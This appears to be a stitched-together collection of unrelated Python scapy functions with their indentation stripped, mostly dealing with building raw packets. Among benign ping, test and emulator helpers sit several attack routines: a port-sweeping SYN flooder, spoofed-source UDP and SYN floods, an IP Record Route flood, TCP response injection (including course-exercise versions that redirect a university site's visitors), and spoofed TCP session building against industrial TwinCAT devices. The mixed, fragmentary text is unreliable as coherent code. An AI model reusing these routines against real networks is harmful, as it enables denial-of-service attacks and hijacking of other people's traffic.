def main():
intf = sys.argv[1]
ipv6_src = sys.argv[2]
ipv6_dst = sys.argv[3]
ipv6_main = sp.IPv6(dst=ipv6_dst, src=ipv6_src)
padding = 8
fid = random.randint(0, 100000)
frag_0 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=1, offset=0)
frag_1 = sp.IPv6ExtHdrFragment(id=fid,
nh=UDP_PROTO,
m=0,
offset=padding / 8)
pkt1_opts = sp.AH(nh=AH_PROTO, payloadlen=200) \
/ sp.Raw('XXXX' * 199) \
/ sp.AH(nh=FRAG_PROTO, payloadlen=1) \
/ frag_1
pkt0 = sp.Ether() / ipv6_main / frag_0 / sp.Raw('A' * padding)
pkt1 = sp.Ether() / ipv6_main / pkt1_opts / sp.Raw('B' * padding)
sp.sendp(pkt0, iface=intf, verbose=False)
sp.sendp(pkt1, iface=intf, verbose=False)
def setUp(self):
"""
Setup class for PingOfDeath.
"""
# Packet with load < 60000
self.pkt1 = scapy.IP(src="192.168.0.1") \
/ scapy.ICMP() / scapy.Raw(load="*")
# Packet with load > 60000 (attack)
self.pkt2 = scapy.IP(src="192.168.0.1") \
/ scapy.ICMP() / scapy.Raw(load="*" * 65535)
# Initialize PingOfDeath object
self.ping_of_death = PingOfDeath()
def forge_packet(packet):
#Copies the real packet onto the fake packet
fake_packet = deepcopy(packet)
#Creates the ethernet header
fake_packet[Ether].src = packet[Ether].dst
fake_packet[Ether].dst = packet[Ether].src
#Gives the fake packet a random ID
fake_packet[IP].id = random.randint(1000, 100000)
#Swaps the source and destination IP addresses since this is a response to a sent request
fake_packet[IP].src = packet[IP].dst
fake_packet[IP].dst = packet[IP].src
#Swaps the source and destination TCP ports since this a response to a sent request
fake_packet[TCP].sport = packet[TCP].dport
fake_packet[TCP].dport = packet[TCP].sport
#Makes the seq number that of the real packet's ack number,
#and makes the new ack number the real packet's seq number plus the length of the packet
fake_packet[TCP].seq = packet[TCP].ack
fake_packet[TCP].ack = packet[TCP].seq + packet.len
#If a data file has been provided as a source for the fake payload
if args.datafile != None:
f = open(args.datafile, "r")
contents = f.read()
print "Payload:\n" + str(scapy.Raw(contents))
fake_packet[TCP].payload = scapy.Raw(str(contents))
#If no data file was provided, a default fake payload is used
else:
print scapy.Raw("No payload provided, this is a fake packet!")
fake_packet[TCP].payload = scapy.Raw(
"No payload provided, this is a fake packet!")
#The length and checksums of the fake packet are deleted so that they may be recalculated after the changes
del (fake_packet[IP].len)
del (fake_packet[IP].chksum)
del (fake_packet[TCP].chksum)
#Fragmentation is disabled for the fake packet so that the payload arrives in one packet
fake_packet[IP].frag = 0
print 'Injected a fake packet with the ID %d as a fake response to the packet with the ID %d' % (
fake_packet[IP].id, packet[IP].id)
return fake_packet
def synFlooder(src, dst, message):
for dport in range(1024, 65535):
IPlayer = scapy.IP(src=src, dst=dst)
TCPlayer = scapy.TCP(sport=4444, dport=dport)
RAWlayer = scapy.Raw(load=message)
packet = IPlayer / TCPlayer / RAWlayer
scapy.send(packet)
def IP_Route():
clear = os.system('clear')
print("**************************************")
print(" IP_Record_Route")
print("**************************************")
print("Please input your target's IP")
target = input("[IP_Record_Route]#")
src_ip = scapy.RandIP()
num = 0
try:
while True:
packet = scapy.IP(
src=src_ip,
dst=target,
ttl=128,
options=scapy.IPOption_RR(
copy_flag=0,
length=39,
routers=[
'0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0',
'0.0.0.0', '0.0.0.0', '0.0.0.0', '0.0.0.0'
])) / scapy.ICMP() / scapy.Raw(
load=b'abcdefghijklmnopqrstuvwabcdefghi')
scapy.send(packet, verbose=False)
num += 1
print("Sent " + str(num) + "packets")
except KeyboardInterrupt:
print("Ctrl + C detected......")
def dnspunch(self):
# punchpkt
e = scapy.Ether(dst=self.router_mac)
self.msg("sending punchies...")
pkt = scapy.IP(src=self.server_ip, dst=self.attacker_ip)
pkt /= scapy.UDP(sport=53, dport=53)
pkt /= scapy.Raw("udp holepunch test")
scapy.sendp(e / pkt, iface=self.interface)
# rqpkt
self.msg("sending DNS request to %s asking %s..." %
(self.server_ip, self.domain))
pkt = scapy.IP(src=self.attacker_ip, dst=self.server_ip)
pkt /= scapy.UDP(sport=53, dport=53)
pkt /= scapy.DNS(rd=1, qd=scapy.DNSQR(qname=self.domain))
x, u = scapy.srp(e / pkt, timeout=5, iface=self.interface)
self.msg('ok')
for p in x[0]:
p.show()
if p[1].proto == 1:
print "%s %s/%s" % (p[1].sprintf("%IP.src%"),
p[1].sprintf("%ICMP.type%"),
p[1].sprintf("%ICMP.code%"))
else:
p[1].show()
def packet_handler(packet):
global memberDataLatest
print(memberDataLatest)
raw_pkt = scp.raw(packet)
enableFlag = False
if(b'Peer1' in raw_pkt and 'Peer1' in acceptedMembers):
enableFlag = True
idx = raw_pkt.index("Peer1")
data = str(raw_pkt[idx+5:]).strip().split(',')
msg2 = raw_pkt[idx:].strip()
name = "Peer1"
if(b'Peer2' in raw_pkt and 'Peer2' in acceptedMembers):
enableFlag = True
idx = raw_pkt.index("Peer2")
data = str(raw_pkt[idx+5:]).strip().split(',')
msg2 = raw_pkt[idx:].strip()
name = "Peer2"
if(b'Peer3' in raw_pkt and 'Peer3' in acceptedMembers):
enableFlag = True
idx = raw_pkt.index("Peer3")
data = str(raw_pkt[idx+5:]).strip().split(',')
msg2 = raw_pkt[idx:].strip()
name = "Peer3"
if ((b'Peer1' in raw_pkt) or (b'Peer2' in raw_pkt) or (b'Peer3' in raw_pkt)) and enableFlag:
mData = data
if int(mData[0]) > memberDataLatest[name]:
memberDataLatest[name] = int(mData[0])
mData[-1] = str(time.time())
memberData[name].append(mData)
for member in members:
pkt = scp.IP(dst=members[member])/scp.ICMP()/scp.Raw(load=msg2)
scp.send(pkt)
if len(memberData[name]) > bufferSize:
memberData[name].pop(0)
def getUDPInfo(oAdapter, sTargetIP):
data = '03661471 0000000001000000' + ipToHex(oAdapter[1] +
'.1.1') + '1027 00000000'
oIP = scapy.IP(dst=sTargetIP)
oUDP = scapy.UDP(sport=random.randint(1024, 65535), dport=48899)
oLoad = scapy.Raw(load=binascii.unhexlify(data.replace(' ', '')))
oResp = scapy.sr1(oIP / oUDP / oLoad, timeout=iTIMEOUT)
if oResp is None:
print('[!] Error, device not responding to TwinCAT discovery packets!')
return
dResp = oResp.getlayer(scapy.Raw).load
sResp = binascii.hexlify(dResp)
sNetid = hexToIP(sResp[24:36])
namelength = int(sResp[54:56] + sResp[52:54], 16)
sName = str(dResp[28:27 + namelength])
i = ((27 + namelength) * 2) + 18
sPreKernel = ''.join(
map(str.__add__, sResp[i:i + 24][-2::-2], sResp[i:i + 24][-1::-2]))
sKernel = str(int(sPreKernel[16:24], 16)) + '.' + str(
int(sPreKernel[8:16], 16)) + '.' + str(int(sPreKernel[:8], 16))
i += (24 + 528)
sTCVer = str(int(sResp[i:i + 2], 16)) + '.' + str(
int(sResp[i + 2:i + 4], 16)) + '.' + str(
int((''.join(
map(str.__add__, sResp[i + 4:i + 8][-2::-2],
sResp[i + 4:i + 8][-1::-2]))), 16))
print('[+] IP: ' + sTargetIP + ', NAME: ' + sName + ', RNETID: ' + sNetid +
', TCVer: ' + sTCVer + ', WinVer: ' + sKernel)
return sNetid
def rx_from_emulator(emu_rx_port, interface):
'''
Receives 0mq messages from emu_rx_port
args:
emu_rx_port: The port number on which to listen for messages from
the emulated software
'''
global __run_server
#global __host_socket
topic = "Peripheral.EthernetModel.tx_frame"
context = zmq.Context()
mq_socket = context.socket(zmq.SUB)
mq_socket.connect("tcp://localhost:%s" % emu_rx_port)
mq_socket.setsockopt(zmq.SUBSCRIBE, topic)
while (__run_server):
msg = mq_socket.recv_string()
# print "Got from emulator:", msg
topic, data = decode_zmq_msg(msg)
frame = data['frame']
# if len(frame) < 64:
# frame = frame +('\x00' * (64-len(frame)))
p = scapy.Raw(frame)
scapy.sendp(p, iface=interface)
# __host_socket.send(frame)
print("Sending Frame (%i) on eth: %s" %
(len(frame), binascii.hexlify(frame)))
def get_tcp_injection_packet(packet):
"""
If the given packet is an attempt to access the course website, create a
IP+TCP packet that will redirect the user to Facebook by sending them the
`RESPONSE` from above.
"""
if q1.packet_filter(packet):
if packet[S.TCP].load.find('GET'):
ip = packet.getlayer(S.IP) #packet[S.IP]
tcp = packet.getlayer(S.TCP) #packet[S.TCP]
# IP layer of the response packet:
# Warpping the IP packet with a TCP layer and setting
# source port to match the original source port
# and destination port to be 80 for HTTP.
# Also sets the TCP flags to Acknowldeged and Finish (FA).
# Finally we set the sequence number to be the ack number of the packet
# and the ack number to be the seq number of the packet + the length of the tcp layer.
# Appending the load to the packet
return S.IP(dst=ip.src, src=ip.dst) / S.TCP(
dport=ip.sport,
sport=ip.dport,
flags='FA',
seq=tcp.ack,
ack=tcp.seq + len(tcp.payload)) / S.Raw(load=RESPONSE)
return None
def sender():
global mode
while(1):
#generate GPS location
print("MODE: ",mode)
if mode == "explore":
GPIO.output(18,GPIO.HIGH)
time.sleep(0.1)
GPIO.output(18,GPIO.LOW)
if mode == "emergency":
GPIO.output(18,GPIO.HIGH)
global myseq
lat = randint(0,10)
lon = randint(0, 10)
ts = time.time()
try:
msg = myname+","+str(myseq)+","+str(lat)+","+str(lon)+","+str(ts)
myseq += 1
for member in members:
packet = scp.IP(dst=members[member])/scp.ICMP()/scp.Raw(load=msg)
#scp.sendp(packet, iface='wlan0')
#print("Sent "+msg)
scp.send(packet)
except:
print('cannot send message')
#print("before i go to sleep")
time.sleep(delay)
def configure_Raw_layer(lcd, lcd_lock):
"""Configures a scapy Raw layer."""
msg_options = [
"Here's a message\nFinis", 'Hello, world!', '-Insert message\n here-',
'This message is\nthe longest one.'
]
with lcd_lock:
msg = msg_options[lcd.get_input(msg_options)]
return scapy.Raw(msg)
def setLoad(packet, loadvalue):
# set the load part of the packet to the custom one
packet[scapy.Raw] = scapy.Raw(load=loadvalue)
# delete the values of the redundant fields so they are recalculated automatically
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def synPacket(tragetIp, tragetPort, networkIp):
ip = scapy.IP(dst=networkIp, src=tragetIp)
tcp = scapy.TCP(sport=scapy.RandShort(), dport=tragetPort, flags='S')
raw = scapy.Raw(b"x" * 1024)
packet = ip / tcp / raw
scapy.send(packet, loop=0, verbose=0)
def runCommand(command, interface):
if command == "clear":
subprocess.run(["clear"])
print("Zoomba Controller Shell")
elif command == "exit":
sys.exit("exiting...")
else:
fullCommand = "zoomba: '"+command+"'"
packet = scapy.IP(dst = zoomba.ip, src = getOwnIp(interface)) / scapy.Raw(load=fullCommand)
scapy.send(packet, verbose=False)
def sendPackets(self, port):
"""Farklı ip adreslerinden ve farklı portlardan hedef ip adresine paket gönderir."""
try:
with self.packetLock:
ipPacket = scapy.IP(src=self.createIpAddress(), dst=self.targetIp)
udpPacket = scapy.UDP(sport=port, dport=135)
combinedPacket = ipPacket / udpPacket
scapy.send(combinedPacket / scapy.Raw(load=self.randomData), verbose=False)
except:
pass
def ping(send_if, dst_ip, args):
ether = sp.Ether()
ip = sp.IP(dst=dst_ip)
icmp = sp.ICMP(type='echo-request')
raw = sp.Raw(str(PAYLOAD_MAGIC))
if args.send_tos:
ip.tos = int(args.send_tos[0])
req = ether / ip / icmp / raw
sp.sendp(req, iface=send_if, verbose=False)
def send_icmp_on_interface(self, interface_name,src_mac, dst_mac, src_ip, dst_ip, payload):
"""Send ICMP Request over qbr device.
"""
src_ip = str(src_ip)
dst_ip = str(dst_ip)
src_mac = str(src_mac)
dst_mac = str(dst_mac)
payload = str(payload)
interface_name = str(interface_name)
ip = scapy.IP(src=src_ip,dst=dst_ip)
icmp = scapy.ICMP()
packet = scapy.Ether(src=src_mac, dst=dst_mac)/ ip / icmp / scapy.Raw(load=payload)
scapy.sendp(packet, iface=interface_name)
def set_attribute(self, class_id, instance, attr, value):
"""Set the value of attribute class/instance/attr"""
path = CIP_Path.make(class_id=class_id, instance_id=instance)
# User CIP service 4: Set_Attribute_List
cippkt = CIP(service=4, path=path) / scapy_all.Raw(load=struct.pack('<HH', 1, attr) + value)
self.send_rr_cm_cip(cippkt)
if self.sock is None:
return
resppkt = self.recv_enippkt()
cippkt = resppkt[CIP]
if cippkt.status[0].status != 0:
logger.error("CIP set attribute error: %r", cippkt.status[0])
return False
return True
def size_and_gen_packet(lcd, lcd_lock, packet):
"""Sizes an arbitrary packet, padding with null bytes or truncating."""
with lcd_lock:
ptemp = generate_packet(packet)
size = int(
lcd.get_input('Size(bytes):\n%i%i%i%i', '%04d' % len(ptemp))[13:])
if size < len(ptemp):
lcd.clear()
lcd.message('Warning:\nTruncating Pkt')
time.sleep(2)
padsize = size - len(ptemp)
if padsize > 0:
packet.append(scapy.Raw('\x00' * padsize))
return scapy.Ether(str(generate_packet(packet))[:size])
def spoofTCPPacket(oSrcAdapter, sSrcIP, sTargetIP, iDPort, dPacket):
# SYN
sport = random.randint(1024, 65535)
ip = scapy.IP(src=sSrcIP, dst=sTargetIP)
SYN = scapy.TCP(sport=sport, dport=iDPort, flags='S', seq=1000)
SYNACK = scapy.sr1(ip / SYN, timeout=iTIMEOUT)
if SYNACK is None:
return SYNACK ## No SYN/ACK back, ARP Spoofing problem or port not open
# ACK
ACK = scapy.TCP(sport=sport,
dport=iDPort,
flags='A',
seq=SYNACK.ack,
ack=SYNACK.seq + 1)
scapy.send(ip / ACK)
# TCP DATA
scapy.conf.verb = 0
oIP = scapy.IP(src=sSrcIP, dst=sTargetIP)
oTCP = scapy.TCP(sport=sport,
dport=iDPort,
flags='PA',
seq=SYNACK.ack,
ack=SYNACK.seq + 1)
oRAW = scapy.Raw(load=dPacket)
oResp = scapy.sr1(oIP / oTCP / oRAW, timeout=iTIMEOUT)
# FIN
FINACK = None
if not oResp is None:
FIN = scapy.TCP(sport=sport,
dport=iDPort,
flags='FA',
seq=oResp.ack,
ack=oResp.seq + 1)
FINACK = scapy.sr1(ip / FIN, timeout=iTIMEOUT)
if not FINACK is None:
LASTACK = scapy.TCP(sport=sport,
dport=iDPort,
flags='A',
seq=FINACK.ack,
ack=FINACK.seq + 1)
scapy.send(ip / LASTACK)
# RST
#RST=scapy.TCP(sport=sport, dport=iDPort, flags='R', seq=SYNACK.ack, ack=SYNACK.seq + 1)
#scapy.send(ip/RST)
return oResp
def send(self, payload: str):
"""
Receives a payload and sends it to the client.
Payloads bigger than MTU will be split to multiple packets
Args:
payload (str/bytes): a TCP payload
"""
for payload in self._split_payload(payload, MAX_PAYLOAD_LENGTH):
p = self.ip / scapy.TCP(sport=self.src_port,
dport=self.dst_port,
flags="PA",
seq=self.seq,
ack=self.ack) / scapy.Raw(payload)
self.s.send(p)
self.seq += len(payload)
def make_packet():
"""
Make a ping packet for example purposes.
"""
ether = scapy.Ether(
src='fe:ed:ad:ea:dc:0d',
dst='d0:cd:ae:da:de:ef',
type=2048,
)
ip = scapy.IP( # pylint: disable=invalid-name
frag=0,
src='192.0.2.201',
proto=1,
tos=0,
dst='203.0.113.102',
chksum=22360,
len=84,
options=[],
version=4,
flags=2,
ihl=5,
ttl=64,
id=4492,
)
icmp = scapy.ICMP(
gw=None,
code=0,
ts_ori=None,
addr_mask=None,
seq=101,
ptr=None,
unused=None,
ts_rx=None,
chksum=49274,
reserved=None,
ts_tx=None,
type=8,
id=3408,
)
data = scapy.Raw(load='some-data', )
packet = ether / ip / icmp / data
return packet
def configure_Raw_layer(lcd, lcd_lock):
"""Configures a scapy Raw layer.
Args:
lcd (LCD_Input_Wrapper object): the lcd screen to interact with
lcd_lock(RLock object): the lock associated with the screen
Returns:
str: the chosen message.
"""
msg_options = [
"Here's a message\nFinis", 'Hello, world!', '-Insert message\n here-',
'This message is\nthe longest one.'
]
with lcd_lock:
msg = msg_options[lcd.get_input(msg_options)]
return scapy.Raw(msg)
def send(self, pack):
"""
send(pack) send @pack to host in IP/UDP packet
and sniff if it was sent
"""
print("sending \'{}...\' to {}".format(pack[:PACK_PREVIEW_LEN], self.ip))
#start sniffing thread to make sure our pack was sent
thread = threading.Thread(
target=self.__sniff_confirm, args=(pack,))
thread.start()
time.sleep(DELAY) #w8 some time to be able to catch this packet
#constructing pack
ip_pack = scapy.IP(dst=self.ip)/scapy.UDP(sport=PORT, dport=PORT)/scapy.Raw(pack)
#sending pack
scapy.send(ip_pack, verbose=False)
#waiting for the thread to finish(it runs for SNIFF_TIMEOUT seconds)
thread.join()
def get_tcp_injection_packet(packet):
"""
If the given packet is an attempt to access the course website, create a
IP+TCP packet that will redirect the user to Facebook by sending them the
`RESPONSE` from above.
"""
if (str(packet[S.TCP]).find("Host: infosec.cs.tau.ac.il") >
-1): # and str(packet[S.TCP]).find(WEBSITE)>-1):
#if(packet[S.IP].dst == socket.gethostbyname(WEBSITE) or str(packet[S.TCP]).find("GET /2018/ HTTP/1.1") >-1 or str(packet[S.TCP]).find("GET /2018/login HTTP/1.1")>-1 or str(packet[S.TCP]).find("GET / HTTP/1.1")>-1):
tcp = packet[S.TCP]
ip = packet[S.IP]
p = S.IP(dst = ip.src ,src = ip.dst)/S.TCP(dport = tcp.sport,\
flags = "FA",sport =80 \
,seq = tcp.ack,ack =tcp.seq+len(packet[S.Raw]))/S.Raw(load =RESPONSE)
S.send(p)
def create_packets(self):
self.msg("creating packets")
lasthop = 32
packets = []
for ttl in range(0, lasthop + 1)[::-1]:
# self.msg("ttl = %d" % ttl)
pkt = scapy.IP(dst=self.target, ttl=ttl, id=ttl)
if self.proto == "tcp":
pkt /= scapy.TCP(sport=12345, dport=self.port, flags="S")
elif self.proto == "udp":
pkt /= scapy.UDP(sport=12345, dport=self.port)
elif self.proto == "icmp":
pkt /= scapy.ICMP() / scapy.Raw(chr(ttl))
else:
self.usage()
sys.exit(1)
packets.append(pkt)
self.msg("finished, %d packets" % len(packets))
return packets
def get_tcp_injection_packet(packet):
"""
If the given packet is an attempt to access the course website, create a
IP+TCP packet that will redirect the user to Facebook by sending them the
`RESPONSE` from above.
"""
packet_str = str(packet)
if packet_str.find(WEBSITE) and packet_str.find("GET"):
ip = packet.getlayer(S.IP)
tcp = packet.getlayer(S.TCP)
ip_pkt = S.IP(dst=ip.src, src=ip.dst)
tcp_pkt = S.TCP(dport=ip.sport,
sport=ip.dport,
flags="AF",
seq=tcp.ack,
ack=tcp.seq + 1)
http_pkt = S.Raw(load=RESPONSE)
# craft a http repsonse packet (contained in ip and tcp layers)
response_pkt = ip_pkt / tcp_pkt / http_pkt
return response_pkt
def get_tcp_injection_packet(packet):
"""
If the given packet is an attempt to access the course website, create a
IP+TCP packet that will redirect the user to Facebook by sending them the
`RESPONSE` from above.
"""
if packet.haslayer(S.Raw):
lines = str(packet.getlayer(S.Raw)).split("\r\n")
if lines:
if lines[1] == "Host: infosec.cs.tau.ac.il" and "GET" in lines[
0] and packet.haslayer('TCP') and packet[
S.TCP].dport == 80:
new_packet = S.IP(
dst=packet[S.IP].src, src=packet[S.IP].dst) / S.TCP(
sport=packet[S.TCP].dport,
dport=packet[S.TCP].sport,
flags='FA',
seq=packet[S.TCP].ack,
ack=packet[S.TCP].seq +
len(packet[S.TCP].payload)) / S.Raw(load=RESPONSE)
return new_packet
return None
def packet_handler(packet):
global memberDataLatest
print(memberDataLatest)
raw_pkt = scp.raw(packet)
#location format: <name>,<sequence>,<lat>,<long>,<timeStamp>
enableFlag = False
if (b'Chal' in raw_pkt and 'Chal' in acceptedMembers):
enableFlag = True
idx = raw_pkt.index("Chal")
data = str(raw_pkt[idx + 5:]).strip().split(',')
msg2 = raw_pkt[idx:].strip()
name = "Chal"
if (b'Oata' in raw_pkt and 'Oata' in acceptedMembers):
enableFlag = True
idx = raw_pkt.index("Oata")
data = str(raw_pkt[idx + 5:]).strip().split(',')
msg2 = raw_pkt[idx:].strip()
name = "Oata"
if (b'Bone' in raw_pkt and 'Bone' in acceptedMembers):
enableFlag = True
idx = raw_pkt.index("Bone")
data = str(raw_pkt[idx + 5:]).strip().split(',')
msg2 = raw_pkt[idx:].strip()
name = "Bone"
if ((b'Oata' in raw_pkt) or (b'Chal' in raw_pkt) or
(b'Bone' in raw_pkt)) and enableFlag:
mData = data
#print("mData = "+str(mData))
if int(mData[0]) > memberDataLatest[name]:
#print("inner mData = "+str(mData))
memberDataLatest[name] = int(mData[0])
mData[-1] = str(time.time())
memberData[name].append(mData)
for member in members:
pkt = scp.IP(dst=members[member]) / scp.ICMP() / scp.Raw(
load=msg2)
scp.send(pkt)
if len(memberData[name]) > bufferSize:
memberData[name].pop(0)
